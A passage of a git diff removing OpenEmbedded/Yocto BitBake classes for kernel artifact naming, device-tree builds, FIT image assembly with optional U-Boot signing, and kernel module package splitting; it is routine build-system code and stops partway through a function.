- for var in 'RDEPENDS', 'RRECOMMENDS', 'RSUGGESTS', 'RCONFLICTS', 'RPROVIDES', 'RREPLACES', 'FILES', 'pkg_preinst', 'pkg_postinst', 'pkg_prerm', 'pkg_postrm', 'ALLOW_EMPTY':
- if d.getVar(var, False):
- issues.append(var)
-
- fakeroot_tests = d.getVar('FAKEROOT_QA').split()
- if set(tests) & set(fakeroot_tests):
- d.setVarFlag('do_package_qa', 'fakeroot', '1')
- d.appendVarFlag('do_package_qa', 'depends', ' virtual/fakeroot-native:do_populate_sysroot')
- else:
- d.setVarFlag('do_package_qa', 'rdeptask', '')
- for i in issues:
- package_qa_handle_error("pkgvarcheck", "%s: Variable %s is set as not being package specific, please fix this." % (d.getVar("FILE"), i), d)
- qa_sane = d.getVar("QA_SANE")
- if not qa_sane:
- bb.fatal("Fatal QA errors found, failing task.")
-}
diff --git a/meta/classes/kernel-artifact-names.bbclass b/meta/classes/kernel-artifact-names.bbclass
deleted file mode 100644
index bbeecba7bd..0000000000
--- a/meta/classes/kernel-artifact-names.bbclass
+++ /dev/null
@@ -1,18 +0,0 @@
-KERNEL_ARTIFACT_NAME ?= "${PKGE}-${PKGV}-${PKGR}-${MACHINE}${IMAGE_VERSION_SUFFIX}"
-KERNEL_ARTIFACT_LINK_NAME ?= "${MACHINE}"
-
-KERNEL_IMAGE_NAME ?= "${KERNEL_ARTIFACT_NAME}"
-KERNEL_IMAGE_LINK_NAME ?= "${KERNEL_ARTIFACT_LINK_NAME}"
-
-KERNEL_DTB_NAME ?= "${KERNEL_ARTIFACT_NAME}"
-KERNEL_DTB_LINK_NAME ?= "${KERNEL_ARTIFACT_LINK_NAME}"
-
-KERNEL_FIT_NAME ?= "${KERNEL_ARTIFACT_NAME}"
-KERNEL_FIT_LINK_NAME ?= "${KERNEL_ARTIFACT_LINK_NAME}"
-
-MODULE_TARBALL_NAME ?= "${KERNEL_ARTIFACT_NAME}"
-MODULE_TARBALL_LINK_NAME ?= "${KERNEL_ARTIFACT_LINK_NAME}"
-MODULE_TARBALL_DEPLOY ?= "1"
-
-INITRAMFS_NAME ?= "initramfs-${KERNEL_ARTIFACT_NAME}"
-INITRAMFS_LINK_NAME ?= "initramfs-${KERNEL_ARTIFACT_LINK_NAME}"
diff --git a/meta/classes/kernel-devicetree.bbclass b/meta/classes/kernel-devicetree.bbclass
deleted file mode 100644
index 81dda8003f..0000000000
--- a/meta/classes/kernel-devicetree.bbclass
+++ /dev/null
@@ -1,95 +0,0 @@
-# Support for device tree generation
-PACKAGES_append = " \
- ${KERNEL_PACKAGE_NAME}-devicetree \
- ${@[d.getVar('KERNEL_PACKAGE_NAME') + '-image-zimage-bundle', ''][d.getVar('KERNEL_DEVICETREE_BUNDLE') != '1']} \
-"
-FILES_${KERNEL_PACKAGE_NAME}-devicetree = "/${KERNEL_IMAGEDEST}/*.dtb /${KERNEL_IMAGEDEST}/*.dtbo"
-FILES_${KERNEL_PACKAGE_NAME}-image-zimage-bundle = "/${KERNEL_IMAGEDEST}/zImage-*.dtb.bin"
-
-# Generate kernel+devicetree bundle
-KERNEL_DEVICETREE_BUNDLE ?= "0"
-
-normalize_dtb () {
- dtb="$1"
- if echo $dtb | grep -q '/dts/'; then
- bbwarn "$dtb contains the full path to the the dts file, but only the dtb name should be used."
- dtb=`basename $dtb | sed 's,\.dts$,.dtb,g'`
- fi
- echo "$dtb"
-}
-
-get_real_dtb_path_in_kernel () {
- dtb="$1"
- dtb_path="${B}/arch/${ARCH}/boot/dts/$dtb"
- if [ ! -e "$dtb_path" ]; then
- dtb_path="${B}/arch/${ARCH}/boot/$dtb"
- fi
- echo "$dtb_path"
-}
-
-do_configure_append() {
- if [ "${KERNEL_DEVICETREE_BUNDLE}" = "1" ]; then
- if echo ${KERNEL_IMAGETYPE_FOR_MAKE} | grep -q 'zImage'; then
- case "${ARCH}" in
- "arm")
- config="${B}/.config"
- if ! grep -q 'CONFIG_ARM_APPENDED_DTB=y' $config; then
- bbwarn 'CONFIG_ARM_APPENDED_DTB is NOT enabled in the kernel. Enabling it to allow the kernel to boot with the Device Tree appended!'
- sed -i "/CONFIG_ARM_APPENDED_DTB[ =]/d" $config
- echo "CONFIG_ARM_APPENDED_DTB=y" >> $config
- echo "# CONFIG_ARM_ATAG_DTB_COMPAT is not set" >> $config
- fi
- ;;
- *)
- bberror "KERNEL_DEVICETREE_BUNDLE is not supported for ${ARCH}. Currently it is only supported for 'ARM'."
- esac
- else
- bberror 'The KERNEL_DEVICETREE_BUNDLE requires the KERNEL_IMAGETYPE to contain zImage.'
- fi
- fi
-}
-
-do_compile_append() {
- for dtbf in ${KERNEL_DEVICETREE}; do
- dtb=`normalize_dtb "$dtbf"`
- oe_runmake $dtb CC="${KERNEL_CC} $cc_extra " LD="${KERNEL_LD}" ${KERNEL_EXTRA_ARGS}
- done
-}
-
-do_install_append() {
- for dtbf in ${KERNEL_DEVICETREE}; do
- dtb=`normalize_dtb "$dtbf"`
- dtb_ext=${dtb##*.}
- dtb_base_name=`basename $dtb .$dtb_ext`
- dtb_path=`get_real_dtb_path_in_kernel "$dtb"`
- install -m 0644 $dtb_path ${D}/${KERNEL_IMAGEDEST}/$dtb_base_name.$dtb_ext
- done
-}
-
-do_deploy_append() {
- for dtbf in ${KERNEL_DEVICETREE}; do
- dtb=`normalize_dtb "$dtbf"`
- dtb_ext=${dtb##*.}
- dtb_base_name=`basename $dtb .$dtb_ext`
- install -d $deployDir
- install -m 0644 ${D}/${KERNEL_IMAGEDEST}/$dtb_base_name.$dtb_ext $deployDir/$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext
- ln -sf $dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext $deployDir/$dtb_base_name.$dtb_ext
- ln -sf $dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext $deployDir/$dtb_base_name-${KERNEL_DTB_LINK_NAME}.$dtb_ext
- for type in ${KERNEL_IMAGETYPE_FOR_MAKE}; do
- if [ "$type" = "zImage" ] && [ "${KERNEL_DEVICETREE_BUNDLE}" = "1" ]; then
- cat ${D}/${KERNEL_IMAGEDEST}/$type \
- $deployDir/$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext \
- > $deployDir/$type-$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext.bin
- ln -sf $type-$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext.bin \
- $deployDir/$type-$dtb_base_name-${KERNEL_DTB_LINK_NAME}.$dtb_ext.bin
- if [ -e "${KERNEL_OUTPUT_DIR}/${type}.initramfs" ]; then
- cat ${KERNEL_OUTPUT_DIR}/${type}.initramfs \
- $deployDir/$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext \
- > $deployDir/${type}-${INITRAMFS_NAME}-$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext.bin
- ln -sf ${type}-${INITRAMFS_NAME}-$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext.bin \
- $deployDir/${type}-${INITRAMFS_NAME}-$dtb_base_name-${KERNEL_DTB_LINK_NAME}.$dtb_ext.bin
- fi
- fi
- done
- done
-}
diff --git a/meta/classes/kernel-fitimage.bbclass b/meta/classes/kernel-fitimage.bbclass
deleted file mode 100644
index fa4ea6feef..0000000000
--- a/meta/classes/kernel-fitimage.bbclass
+++ /dev/null
@@ -1,554 +0,0 @@
-inherit kernel-uboot kernel-artifact-names uboot-sign
-
-python __anonymous () {
- kerneltypes = d.getVar('KERNEL_IMAGETYPES') or ""
- if 'fitImage' in kerneltypes.split():
- depends = d.getVar("DEPENDS")
- depends = "%s u-boot-tools-native dtc-native" % depends
- d.setVar("DEPENDS", depends)
-
- uarch = d.getVar("UBOOT_ARCH")
- if uarch == "arm64":
- replacementtype = "Image"
- elif uarch == "riscv":
- replacementtype = "Image"
- elif uarch == "mips":
- replacementtype = "vmlinuz.bin"
- elif uarch == "x86":
- replacementtype = "bzImage"
- elif uarch == "microblaze":
- replacementtype = "linux.bin"
- else:
- replacementtype = "zImage"
-
- # Override KERNEL_IMAGETYPE_FOR_MAKE variable, which is internal
- # to kernel.bbclass . We have to override it, since we pack zImage
- # (at least for now) into the fitImage .
- typeformake = d.getVar("KERNEL_IMAGETYPE_FOR_MAKE") or ""
- if 'fitImage' in typeformake.split():
- d.setVar('KERNEL_IMAGETYPE_FOR_MAKE', typeformake.replace('fitImage', replacementtype))
-
- image = d.getVar('INITRAMFS_IMAGE')
- if image:
- d.appendVarFlag('do_assemble_fitimage_initramfs', 'depends', ' ${INITRAMFS_IMAGE}:do_image_complete')
-
- #check if there are any dtb providers
- providerdtb = d.getVar("PREFERRED_PROVIDER_virtual/dtb")
- if providerdtb:
- d.appendVarFlag('do_assemble_fitimage', 'depends', ' virtual/dtb:do_populate_sysroot')
- d.appendVarFlag('do_assemble_fitimage_initramfs', 'depends', ' virtual/dtb:do_populate_sysroot')
- d.setVar('EXTERNAL_KERNEL_DEVICETREE', "${RECIPE_SYSROOT}/boot/devicetree")
-
- # Verified boot will sign the fitImage and append the public key to
- # U-Boot dtb. We ensure the U-Boot dtb is deployed before assembling
- # the fitImage:
- if d.getVar('UBOOT_SIGN_ENABLE') == "1" and d.getVar('UBOOT_DTB_BINARY'):
- uboot_pn = d.getVar('PREFERRED_PROVIDER_u-boot') or 'u-boot'
- d.appendVarFlag('do_assemble_fitimage', 'depends', ' %s:do_populate_sysroot' % uboot_pn)
-}
-
-# Options for the device tree compiler passed to mkimage '-D' feature:
-UBOOT_MKIMAGE_DTCOPTS ??= ""
-
-# fitImage Hash Algo
-FIT_HASH_ALG ?= "sha256"
-
-# fitImage Signature Algo
-FIT_SIGN_ALG ?= "rsa2048"
-
-#
-# Emit the fitImage ITS header
-#
-# $1 ... .its filename
-fitimage_emit_fit_header() {
- cat << EOF >> ${1}
-/dts-v1/;
-
-/ {
- description = "U-Boot fitImage for ${DISTRO_NAME}/${PV}/${MACHINE}";
- #address-cells = <1>;
-EOF
-}
-
-#
-# Emit the fitImage section bits
-#
-# $1 ... .its filename
-# $2 ... Section bit type: imagestart - image section start
-# confstart - configuration section start
-# sectend - section end
-# fitend - fitimage end
-#
-fitimage_emit_section_maint() {
- case $2 in
- imagestart)
- cat << EOF >> ${1}
-
- images {
-EOF
- ;;
- confstart)
- cat << EOF >> ${1}
-
- configurations {
-EOF
- ;;
- sectend)
- cat << EOF >> ${1}
- };
-EOF
- ;;
- fitend)
- cat << EOF >> ${1}
-};
-EOF
- ;;
- esac
-}
-
-#
-# Emit the fitImage ITS kernel section
-#
-# $1 ... .its filename
-# $2 ... Image counter
-# $3 ... Path to kernel image
-# $4 ... Compression type
-fitimage_emit_section_kernel() {
-
- kernel_csum="${FIT_HASH_ALG}"
-
- ENTRYPOINT="${UBOOT_ENTRYPOINT}"
- if [ -n "${UBOOT_ENTRYSYMBOL}" ]; then
- ENTRYPOINT=`${HOST_PREFIX}nm vmlinux | \
- awk '$3=="${UBOOT_ENTRYSYMBOL}" {print "0x"$1;exit}'`
- fi
-
- cat << EOF >> ${1}
- kernel@${2} {
- description = "Linux kernel";
- data = /incbin/("${3}");
- type = "kernel";
- arch = "${UBOOT_ARCH}";
- os = "linux";
- compression = "${4}";
- load = <${UBOOT_LOADADDRESS}>;
- entry = <${ENTRYPOINT}>;
- hash@1 {
- algo = "${kernel_csum}";
- };
- };
-EOF
-}
-
-#
-# Emit the fitImage ITS DTB section
-#
-# $1 ... .its filename
-# $2 ... Image counter
-# $3 ... Path to DTB image
-fitimage_emit_section_dtb() {
-
- dtb_csum="${FIT_HASH_ALG}"
-
- dtb_loadline=""
- dtb_ext=${DTB##*.}
- if [ "${dtb_ext}" = "dtbo" ]; then
- if [ -n "${UBOOT_DTBO_LOADADDRESS}" ]; then
- dtb_loadline="load = <${UBOOT_DTBO_LOADADDRESS}>;"
- fi
- elif [ -n "${UBOOT_DTB_LOADADDRESS}" ]; then
- dtb_loadline="load = <${UBOOT_DTB_LOADADDRESS}>;"
- fi
- cat << EOF >> ${1}
- fdt@${2} {
- description = "Flattened Device Tree blob";
- data = /incbin/("${3}");
- type = "flat_dt";
- arch = "${UBOOT_ARCH}";
- compression = "none";
- ${dtb_loadline}
- hash@1 {
- algo = "${dtb_csum}";
- };
- };
-EOF
-}
-
-#
-# Emit the fitImage ITS setup section
-#
-# $1 ... .its filename
-# $2 ... Image counter
-# $3 ... Path to setup image
-fitimage_emit_section_setup() {
-
- setup_csum="${FIT_HASH_ALG}"
-
- cat << EOF >> ${1}
- setup@${2} {
- description = "Linux setup.bin";
- data = /incbin/("${3}");
- type = "x86_setup";
- arch = "${UBOOT_ARCH}";
- os = "linux";
- compression = "none";
- load = <0x00090000>;
- entry = <0x00090000>;
- hash@1 {
- algo = "${setup_csum}";
- };
- };
-EOF
-}
-
-#
-# Emit the fitImage ITS ramdisk section
-#
-# $1 ... .its filename
-# $2 ... Image counter
-# $3 ... Path to ramdisk image
-fitimage_emit_section_ramdisk() {
-
- ramdisk_csum="${FIT_HASH_ALG}"
- ramdisk_loadline=""
- ramdisk_entryline=""
-
- if [ -n "${UBOOT_RD_LOADADDRESS}" ]; then
- ramdisk_loadline="load = <${UBOOT_RD_LOADADDRESS}>;"
- fi
- if [ -n "${UBOOT_RD_ENTRYPOINT}" ]; then
- ramdisk_entryline="entry = <${UBOOT_RD_ENTRYPOINT}>;"
- fi
-
- cat << EOF >> ${1}
- ramdisk@${2} {
- description = "${INITRAMFS_IMAGE}";
- data = /incbin/("${3}");
- type = "ramdisk";
- arch = "${UBOOT_ARCH}";
- os = "linux";
- compression = "none";
- ${ramdisk_loadline}
- ${ramdisk_entryline}
- hash@1 {
- algo = "${ramdisk_csum}";
- };
- };
-EOF
-}
-
-#
-# Emit the fitImage ITS configuration section
-#
-# $1 ... .its filename
-# $2 ... Linux kernel ID
-# $3 ... DTB image name
-# $4 ... ramdisk ID
-# $5 ... config ID
-# $6 ... default flag
-fitimage_emit_section_config() {
-
- conf_csum="${FIT_HASH_ALG}"
- conf_sign_algo="${FIT_SIGN_ALG}"
- if [ -n "${UBOOT_SIGN_ENABLE}" ] ; then
- conf_sign_keyname="${UBOOT_SIGN_KEYNAME}"
- fi
-
- # Test if we have any DTBs at all
- sep=""
- conf_desc=""
- conf_node="conf@"
- kernel_line=""
- fdt_line=""
- ramdisk_line=""
- setup_line=""
- default_line=""
-
- # conf node name is selected based on dtb ID if it is present,
- # otherwise its selected based on kernel ID
- if [ -n "${3}" ]; then
- conf_node=$conf_node${3}
- else
- conf_node=$conf_node${2}
- fi
-
- if [ -n "${2}" ]; then
- conf_desc="Linux kernel"
- sep=", "
- kernel_line="kernel = \"kernel@${2}\";"
- fi
-
- if [ -n "${3}" ]; then
- conf_desc="${conf_desc}${sep}FDT blob"
- sep=", "
- fdt_line="fdt = \"fdt@${3}\";"
- fi
-
- if [ -n "${4}" ]; then
- conf_desc="${conf_desc}${sep}ramdisk"
- sep=", "
- ramdisk_line="ramdisk = \"ramdisk@${4}\";"
- fi
-
- if [ -n "${5}" ]; then
- conf_desc="${conf_desc}${sep}setup"
- setup_line="setup = \"setup@${5}\";"
- fi
-
- if [ "${6}" = "1" ]; then
- # default node is selected based on dtb ID if it is present,
- # otherwise its selected based on kernel ID
- if [ -n "${3}" ]; then
- default_line="default = \"conf@${3}\";"
- else
- default_line="default = \"conf@${2}\";"
- fi
- fi
-
- cat << EOF >> ${1}
- ${default_line}
- $conf_node {
- description = "${6} ${conf_desc}";
- ${kernel_line}
- ${fdt_line}
- ${ramdisk_line}
- ${setup_line}
- hash@1 {
- algo = "${conf_csum}";
- };
-EOF
-
- if [ ! -z "${conf_sign_keyname}" ] ; then
-
- sign_line="sign-images = "
- sep=""
-
- if [ -n "${2}" ]; then
- sign_line="${sign_line}${sep}\"kernel\""
- sep=", "
- fi
-
- if [ -n "${3}" ]; then
- sign_line="${sign_line}${sep}\"fdt\""
- sep=", "
- fi
-
- if [ -n "${4}" ]; then
- sign_line="${sign_line}${sep}\"ramdisk\""
- sep=", "
- fi
-
- if [ -n "${5}" ]; then
- sign_line="${sign_line}${sep}\"setup\""
- fi
-
- sign_line="${sign_line};"
-
- cat << EOF >> ${1}
- signature@1 {
- algo = "${conf_csum},${conf_sign_algo}";
- key-name-hint = "${conf_sign_keyname}";
- ${sign_line}
- };
-EOF
- fi
-
- cat << EOF >> ${1}
- };
-EOF
-}
-
-#
-# Assemble fitImage
-#
-# $1 ... .its filename
-# $2 ... fitImage name
-# $3 ... include ramdisk
-fitimage_assemble() {
- kernelcount=1
- dtbcount=""
- DTBS=""
- ramdiskcount=${3}
- setupcount=""
- rm -f ${1} arch/${ARCH}/boot/${2}
-
- fitimage_emit_fit_header ${1}
-
- #
- # Step 1: Prepare a kernel image section.
- #
- fitimage_emit_section_maint ${1} imagestart
-
- uboot_prep_kimage
- fitimage_emit_section_kernel ${1} "${kernelcount}" linux.bin "${linux_comp}"
-
- #
- # Step 2: Prepare a DTB image section
- #
-
- if [ -z "${EXTERNAL_KERNEL_DEVICETREE}" ] && [ -n "${KERNEL_DEVICETREE}" ]; then
- dtbcount=1
- for DTB in ${KERNEL_DEVICETREE}; do
- if echo ${DTB} | grep -q '/dts/'; then
- bbwarn "${DTB} contains the full path to the the dts file, but only the dtb name should be used."
- DTB=`basename ${DTB} | sed 's,\.dts$,.dtb,g'`
- fi
- DTB_PATH="arch/${ARCH}/boot/dts/${DTB}"
- if [ ! -e "${DTB_PATH}" ]; then
- DTB_PATH="arch/${ARCH}/boot/${DTB}"
- fi
-
- DTB=$(echo "${DTB}" | tr '/' '_')
- DTBS="${DTBS} ${DTB}"
- fitimage_emit_section_dtb ${1} ${DTB} ${DTB_PATH}
- done
- fi
-
- if [ -n "${EXTERNAL_KERNEL_DEVICETREE}" ]; then
- dtbcount=1
- for DTB in $(find "${EXTERNAL_KERNEL_DEVICETREE}" \( -name '*.dtb' -o -name '*.dtbo' \) -printf '%P\n' | sort); do
- DTB=$(echo "${DTB}" | tr '/' '_')
- DTBS="${DTBS} ${DTB}"
- fitimage_emit_section_dtb ${1} ${DTB} "${EXTERNAL_KERNEL_DEVICETREE}/${DTB}"
- done
- fi
-
- #
- # Step 3: Prepare a setup section. (For x86)
- #
- if [ -e arch/${ARCH}/boot/setup.bin ]; then
- setupcount=1
- fitimage_emit_section_setup ${1} "${setupcount}" arch/${ARCH}/boot/setup.bin
- fi
-
- #
- # Step 4: Prepare a ramdisk section.
- #
- if [ "x${ramdiskcount}" = "x1" ] ; then
- # Find and use the first initramfs image archive type we find
- for img in cpio.lz4 cpio.lzo cpio.lzma cpio.xz cpio.gz ext2.gz cpio; do
- initramfs_path="${DEPLOY_DIR_IMAGE}/${INITRAMFS_IMAGE_NAME}.${img}"
- echo "Using $initramfs_path"
- if [ -e "${initramfs_path}" ]; then
- fitimage_emit_section_ramdisk ${1} "${ramdiskcount}" "${initramfs_path}"
- break
- fi
- done
- fi
-
- fitimage_emit_section_maint ${1} sectend
-
- # Force the first Kernel and DTB in the default config
- kernelcount=1
- if [ -n "${dtbcount}" ]; then
- dtbcount=1
- fi
-
- #
- # Step 5: Prepare a configurations section
- #
- fitimage_emit_section_maint ${1} confstart
-
- # kernel-fitimage.bbclass currently only supports a single kernel (no less or
- # more) to be added to the FIT image along with 0 or more device trees and
- # 0 or 1 ramdisk.
- # If a device tree is to be part of the FIT image, then select
- # the default configuration to be used is based on the dtbcount. If there is
- # no dtb present than select the default configuation to be based on
- # the kernelcount.
- if [ -n "${DTBS}" ]; then
- i=1
- for DTB in ${DTBS}; do
- dtb_ext=${DTB##*.}
- if [ "${dtb_ext}" = "dtbo" ]; then
- fitimage_emit_section_config ${1} "" "${DTB}" "" "" "`expr ${i} = ${dtbcount}`"
- else
- fitimage_emit_section_config ${1} "${kernelcount}" "${DTB}" "${ramdiskcount}" "${setupcount}" "`expr ${i} = ${dtbcount}`"
- fi
- i=`expr ${i} + 1`
- done
- else
- defaultconfigcount=1
- fitimage_emit_section_config ${1} "${kernelcount}" "" "${ramdiskcount}" "${setupcount}" "${defaultconfigcount}"
- fi
-
- fitimage_emit_section_maint ${1} sectend
-
- fitimage_emit_section_maint ${1} fitend
-
- #
- # Step 6: Assemble the image
- #
- uboot-mkimage \
- ${@'-D "${UBOOT_MKIMAGE_DTCOPTS}"' if len('${UBOOT_MKIMAGE_DTCOPTS}') else ''} \
- -f ${1} \
- arch/${ARCH}/boot/${2}
-
- #
- # Step 7: Sign the image and add public key to U-Boot dtb
- #
- if [ "x${UBOOT_SIGN_ENABLE}" = "x1" ] ; then
- add_key_to_u_boot=""
- if [ -n "${UBOOT_DTB_BINARY}" ]; then
- # The u-boot.dtb is a symlink to UBOOT_DTB_IMAGE, so we need copy
- # both of them, and don't dereference the symlink.
- cp -P ${STAGING_DATADIR}/u-boot*.dtb ${B}
- add_key_to_u_boot="-K ${B}/${UBOOT_DTB_BINARY}"
- fi
- uboot-mkimage \
- ${@'-D "${UBOOT_MKIMAGE_DTCOPTS}"' if len('${UBOOT_MKIMAGE_DTCOPTS}') else ''} \
- -F -k "${UBOOT_SIGN_KEYDIR}" \
- $add_key_to_u_boot \
- -r arch/${ARCH}/boot/${2}
- fi
-}
-
-do_assemble_fitimage() {
- if echo ${KERNEL_IMAGETYPES} | grep -wq "fitImage"; then
- cd ${B}
- fitimage_assemble fit-image.its fitImage
- fi
-}
-
-addtask assemble_fitimage before do_install after do_compile
-
-do_assemble_fitimage_initramfs() {
- if echo ${KERNEL_IMAGETYPES} | grep -wq "fitImage" && \
- test -n "${INITRAMFS_IMAGE}" ; then
- cd ${B}
- fitimage_assemble fit-image-${INITRAMFS_IMAGE}.its fitImage-${INITRAMFS_IMAGE} 1
- fi
-}
-
-addtask assemble_fitimage_initramfs before do_deploy after do_bundle_initramfs
-
-
-kernel_do_deploy[vardepsexclude] = "DATETIME"
-kernel_do_deploy_append() {
- # Update deploy directory
- if echo ${KERNEL_IMAGETYPES} | grep -wq "fitImage"; then
- echo "Copying fit-image.its source file..."
- install -m 0644 ${B}/fit-image.its "$deployDir/fitImage-its-${KERNEL_FIT_NAME}.its"
- ln -snf fitImage-its-${KERNEL_FIT_NAME}.its "$deployDir/fitImage-its-${KERNEL_FIT_LINK_NAME}"
-
- echo "Copying linux.bin file..."
- install -m 0644 ${B}/linux.bin $deployDir/fitImage-linux.bin-${KERNEL_FIT_NAME}.bin
- ln -snf fitImage-linux.bin-${KERNEL_FIT_NAME}.bin "$deployDir/fitImage-linux.bin-${KERNEL_FIT_LINK_NAME}"
-
- if [ -n "${INITRAMFS_IMAGE}" ]; then
- echo "Copying fit-image-${INITRAMFS_IMAGE}.its source file..."
- install -m 0644 ${B}/fit-image-${INITRAMFS_IMAGE}.its "$deployDir/fitImage-its-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_NAME}.its"
- ln -snf fitImage-its-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_NAME}.its "$deployDir/fitImage-its-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_LINK_NAME}"
-
- echo "Copying fitImage-${INITRAMFS_IMAGE} file..."
- install -m 0644 ${B}/arch/${ARCH}/boot/fitImage-${INITRAMFS_IMAGE} "$deployDir/fitImage-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_NAME}.bin"
- ln -snf fitImage-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_NAME}.bin "$deployDir/fitImage-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_LINK_NAME}"
- fi
- if [ "${UBOOT_SIGN_ENABLE}" = "1" -a -n "${UBOOT_DTB_BINARY}" ] ; then
- # UBOOT_DTB_IMAGE is a realfile, but we can't use
- # ${UBOOT_DTB_IMAGE} since it contains ${PV} which is aimed
- # for u-boot, but we are in kernel env now.
- install -m 0644 ${B}/u-boot-${MACHINE}*.dtb "$deployDir/"
- fi
- fi
-}
diff --git a/meta/classes/kernel-module-split.bbclass b/meta/classes/kernel-module-split.bbclass
deleted file mode 100644
index 221022b7bc..0000000000
--- a/meta/classes/kernel-module-split.bbclass
+++ /dev/null
@@ -1,175 +0,0 @@
-pkg_postinst_modules () {
-if [ -z "$D" ]; then
- depmod -a ${KERNEL_VERSION}
-else
- # image.bbclass will call depmodwrapper after everything is installed,
- # no need to do it here as well
- :
-fi
-}
-
-pkg_postrm_modules () {
-if [ -z "$D" ]; then
- depmod -a ${KERNEL_VERSION}
-else
- depmodwrapper -a -b $D ${KERNEL_VERSION}
-fi
-}
-
-autoload_postinst_fragment() {
-if [ x"$D" = "x" ]; then
- modprobe %s || true
-fi
-}
-
-PACKAGE_WRITE_DEPS += "kmod-native depmodwrapper-cross"
-
-do_install_append() {
- install -d ${D}${sysconfdir}/modules-load.d/ ${D}${sysconfdir}/modprobe.d/
-}
-
-PACKAGESPLITFUNCS_prepend = "split_kernel_module_packages "
-
-KERNEL_MODULES_META_PACKAGE ?= "${@ d.getVar("KERNEL_PACKAGE_NAME") or "kernel" }-modules"
-
-KERNEL_MODULE_PACKAGE_PREFIX ?= ""
-KERNEL_MODULE_PACKAGE_SUFFIX ?= "-${KERNEL_VERSION}"
-KERNEL_MODULE_PROVIDE_VIRTUAL ?= "1"
-
-python split_kernel_module_packages () {
- import re
-
- modinfoexp = re.compile("([^=]+)=(.*)")
-
- def extract_modinfo(file):
- import tempfile, subprocess
- tempfile.tempdir = d.getVar("WORKDIR")
- compressed = re.match( r'.*\.([xg])z$', file)
- tf = tempfile.mkstemp()
- tmpfile = tf[1]
- if compressed:
- tmpkofile = tmpfile + ".ko"
- if compressed.group(1) == 'g':
- cmd = "gunzip -dc %s > %s" % (file, tmpkofile)
- subprocess.check_call(cmd, shell=True)
- elif compressed.group(1) == 'x':
- cmd = "xz -dc %s > %s" % (file, tmpkofile)
- subprocess.check_call(cmd, shell=True)
- else:
- msg = "Cannot decompress '%s'" % file
- raise msg
- cmd = "%sobjcopy -j .modinfo -O binary %s %s" % (d.getVar("HOST_PREFIX") or "", tmpkofile, tmpfile)
- else:
- cmd = "%sobjcopy -j .modinfo -O binary %s %s" % (d.getVar("HOST_PREFIX") or "", file, tmpfile)
- subprocess.check_call(cmd, shell=True)
- # errors='replace': Some old kernel versions contain invalid utf-8 characters in mod descriptions (like 0xf6, 'ö')
- f = open(tmpfile, errors='replace')
- l = f.read().split("\000")
- f.close()
- os.close(tf[0])
- os.unlink(tmpfile)
- if compressed:
- os.unlink(tmpkofile)
- vals = {}
- for i in l:
- m = modinfoexp.match(i)
- if not m:
- continue
- vals[m.group(1)] = m.group(2)
- return vals
-
- def frob_metadata(file, pkg, pattern, format, basename):
- vals = extract_modinfo(file)
-
- dvar = d.getVar('PKGD')
-
- # If autoloading is requested, output /etc/modules-load.d/<name>.conf and append
- # appropriate modprobe commands to the postinst
- autoloadlist = (d.getVar("KERNEL_MODULE_AUTOLOAD") or "").split()
- autoload = d.getVar('module_autoload_%s' % basename)
- if autoload and autoload == basename:
- bb.warn("module_autoload_%s was replaced by KERNEL_MODULE_AUTOLOAD for cases where basename == module name, please drop it" % basename)
- if autoload and basename not in autoloadlist:
- bb.warn("module_autoload_%s is defined but '%s' isn't included in KERNEL_MODULE_AUTOLOAD, please add it there" % (basename, basename))
- if basename in autoloadlist:
- name = '%s/etc/modules-load.d/%s.conf' % (dvar, basename)
- f = open(name, 'w')
- if autoload:
- for m in autoload.split():
- f.write('%s\n' % m)
- else:
- f.write('%s\n' % basename)
- f.close()
- postinst = d.getVar('pkg_postinst_%s' % pkg)
- if not postinst:
- bb.fatal("pkg_postinst_%s not defined" % pkg)
- postinst += d.getVar('autoload_postinst_fragment') % (autoload or basename)
- d.setVar('pkg_postinst_%s' % pkg, postinst)
-
- # Write out any modconf fragment
- modconflist = (d.getVar("KERNEL_MODULE_PROBECONF") or "").split()
- modconf = d.getVar('module_conf_%s' % basename)
- if modconf and basename in modconflist:
- name = '%s/etc/modprobe.d/%s.conf' % (dvar, basename)
- f = open(name, 'w')
- f.write("%s\n" % modconf)
- f.close()
- elif modconf:
- bb.error("Please ensure module %s is listed in KERNEL_MODULE_PROBECONF since module_conf_%s is set" % (basename, basename))
-
- files = d.getVar('FILES_%s' % pkg)
- files = "%s /etc/modules-load.d/%s.conf /etc/modprobe.d/%s.conf" % (files, basename, basename)
- d.setVar('FILES_%s' % pkg, files)
-
- if "description" in vals:
- old_desc = d.getVar('DESCRIPTION_' + pkg) or ""
- d.setVar('DESCRIPTION_' + pkg, old_desc + "; " + vals["description"])
-
- rdepends = bb.utils.explode_dep_versions2(d.getVar('RDEPENDS_' + pkg) or "")
- modinfo_deps = []
- if "depends" in vals and vals["depends"] != "":
- for dep in vals["depends"].split(","):
- on = legitimize_package_name(dep)
- dependency_pkg = format % on
- modinfo_deps.append(dependency_pkg)
- for dep in modinfo_deps:
- if not dep in rdepends:
- rdepends[dep] = []
- d.setVar('RDEPENDS_' + pkg, bb.utils.join_deps(rdepends, commasep=False))
-
- # Avoid automatic -dev recommendations for modules ending with -dev.
- d.setVarFlag('RRECOMMENDS_' + pkg, 'nodeprrecs', 1)
-
- # Provide virtual package without postfix
- providevirt = d.getVar('KERNEL_MODULE_PROVIDE_VIRTUAL')
- if providevirt == "1":
- postfix = format.split('%s')[1]
- d.setVar('RPROVIDES_' + pkg, pkg.replace(postfix, ''))
-
- kernel_package_name = d.getVar("KERNEL_PACKAGE_NAME") or "kernel"
- kernel_version = d.getVar("KERNEL_VERSION")
-
- module_regex = r'^(.*)\.k?o(?:\.[xg]z)?$'
-
- module_pattern_prefix = d.getVar('KERNEL_MODULE_PACKAGE_PREFIX')
- module_pattern_suffix = d.getVar('KERNEL_MODULE_PACKAGE_SUFFIX')
